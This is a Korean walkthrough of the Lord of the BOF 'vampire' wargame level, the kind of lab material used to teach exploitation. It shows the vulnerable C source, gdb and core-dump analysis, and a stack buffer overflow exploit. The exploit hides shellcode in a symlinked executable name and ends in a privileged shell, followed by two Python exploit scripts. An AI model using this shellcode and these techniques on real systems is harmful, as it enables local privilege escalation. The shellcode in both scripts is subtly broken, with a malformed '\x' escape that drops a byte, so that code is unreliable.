vampire / music world
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
0x01. Analysis
- RET 시작주소
\xbf
- argv[1] 48byte 길이 제한
- 환경변수 초기화
- buffer배열 초기화
- argv 인자값 모두 초기화
argv 인자값 모두 초기화되기 때문에 이전문제처럼 argv[0]값을 이용한 풀이는 불가능해 보인다.
하지만, 환경변수 영역에서 초기화 할 수 없는 영역이 있다. 그것은 바로 자신의 명령어, 즉 실행 파일 이름은 초기화 될 수 없다.
[vampire@localhost vampire]$ gdb -q akeleton
(gdb) set dis int
(gdb) b*main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/vampire/akeleton `python -c 'print "\xbf"*48'`
Breakpoint 1, 0x8048500 in main ()
(gdb) x/50s $esp
0xbffffdda: "i686"
0xbffffddf: "/home/vampire/akeleton"
0xbffffdf6: '? <repeats 48 times>
0xbffffe27: "PWD=/home/vampire"
0xbffffe39: "REMOTEHOST=192.168.23.1"
0xbffffe51: "HOSTNAME=localhost.localdomain"
0xbffffe70: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffffe92: "USER=vampire"
0xbffffe9f: "LS_COLORS="
0xbffffeaa: "MACHTYPE=i386-redhat-linux-gnu"
0xbffffec9: "MAIL=/var/spool/mail/vampire"
0xbffffee6: "INPUTRC=/etc/inputrc"
0xbffffefb: "BASH_ENV=/home/vampire/.bashrc"
0xbfffff1a: "LANG=en_US"
0xbfffff25: "LOGNAME=vampire"
0xbfffff35: "SHLVL=1"
0xbfffff3d: "SHELL=/bin/bash2"
0xbfffff4e: "USERNAME="
0xbfffff58: "HOSTTYPE=i386"
0xbfffff66: "OSTYPE=linux-gnu"
0xbfffff77: "HISTSIZE=1000"
0xbfffff85: "TERM=ansi"
0xbfffff8f: "HOME=/home/vampire"
0xbfffffa2: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffffe5: "/home/vampire/akeleton"
환경변수가 초기화 되기 전 환경변수 영역의 값들이다.
(gdb) b*main+368
Breakpoint 2 at 0x8048670
(gdb) c
Continuing.
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Breakpoint 2, 0x8048670 in main ()
(gdb) x/50s 0xbffffddf
0xbffffddf: ""
0xbffffdf6: ""
============================(생략)===========================
0xbfffffa2: ""
0xbfffffe5: "/home/vampire/akeleton"
main 함수가 끝나기 직전 환경변수 영역이다.
비교해 보면 실행파일의 이름을 저장하는 영역인 0xbfffffe5
환경변수 영역은 초기화 되지 않았음을 확인 할 수 있다. 따라서 argv[0]의 영역이 아닌 이부분을 이용하여 심볼릭링크를 활용하면 될것 같다.
먼저, 공격에 사용될 payload와 똑같은 길이로 심볼릭 링크를 생성한 후, core 덤프를 확인하여 실제 주소를 확인하자.
[vampire@localhost vampire]$ ln -s akeleton `python -c 'print "A"*50+"S"*48+"A"*32'`
[vampire@localhost vampire]$ ./`python -c 'print "A"*50+"S"*48+"A"*32'` `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xb f"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱옜옜
Segmentation fault (core dumped)
스택 최상단부라 그런지 심볼릭 링크 만들때 Shell Code 뒷부분에 NOP Code를 안넣으니 실제 exploit 할 때 계속 segment fault가 떳다. 때문에 Shell Code 뒤에 충분한 공간을 만들어준다.
[vampire@localhost vampire]$ gdb -q -c core
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
=================================(생략)=====================================
0xbfffff70: 0x00000000 0x2e000000 0x4141412f 0x41414141
0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffff90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffffa0: 0x41414141 0x41414141 0x53414141 0x53535353
0xbfffffb0: 0x53535353 0x53535353 0x53535353 0x53535353
0xbfffffc0: 0x53535353 0x53535353 0x53535353 0x53535353
0xbfffffd0: 0x53535353 0x53535353 0x41535353 0x41414141
0xbfffffe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffff0: 0x41414141 0x41414141 0x00414141 0x00000000
0xc0000000: Cannot access memory at address 0xc0000000
초기화 되지 않는 환경변수 영역의 주소는 0xbfffff80
주변임을 확인한다.
0x02. Exploit
'\x2f'없는 shell(48byte) = \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이제 실제 Shell Code를 이용하여 심볼릭 링크를 skeleton
바이너리와 연결하여 생성한다.
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xf f\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x5 1\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*32'`
[vampire@localhost vampire]$ ./`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9 \x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2 \x9a\xb1\x0c\xce\x81"+"\x90"*32'` `python -c 'print "\x90"*44+"\x91\xff\xff\xbf"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
풺ash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
bash$
0x03. 정리
이 문제에서 실제 실행되는 파일의 이름은 스택 최상단에 저장되어 있으며 이는 초기화 할 수 없음을 확인 할 수 있는 문제였다.
그리고 이름에 심볼릭 링크를 설정할 때 ShellCode 뒤에 일정 공간을 만들어 줘야 ShellCode가 잘 실행되었다.
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\x\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
target = "\x90"*50 + shellcode + "\x90"*32
shellcode_addr = 0xbfffff80
payload = "\x90"*44
payload = append(p32(shellcode_addr))
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/vampire/"
shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\x\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
sym_link = "\x90"*50 + shellcode + "\x90"*32
shellcode_addr = 0xbfffff80
if os.path.exists(sym_link):
os.remove(sym_link)
os.symlink('skeleton', sym_link)
target = target + sym_link
payload = "\x90"*44
payload = append(p32(shellcode_addr))
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)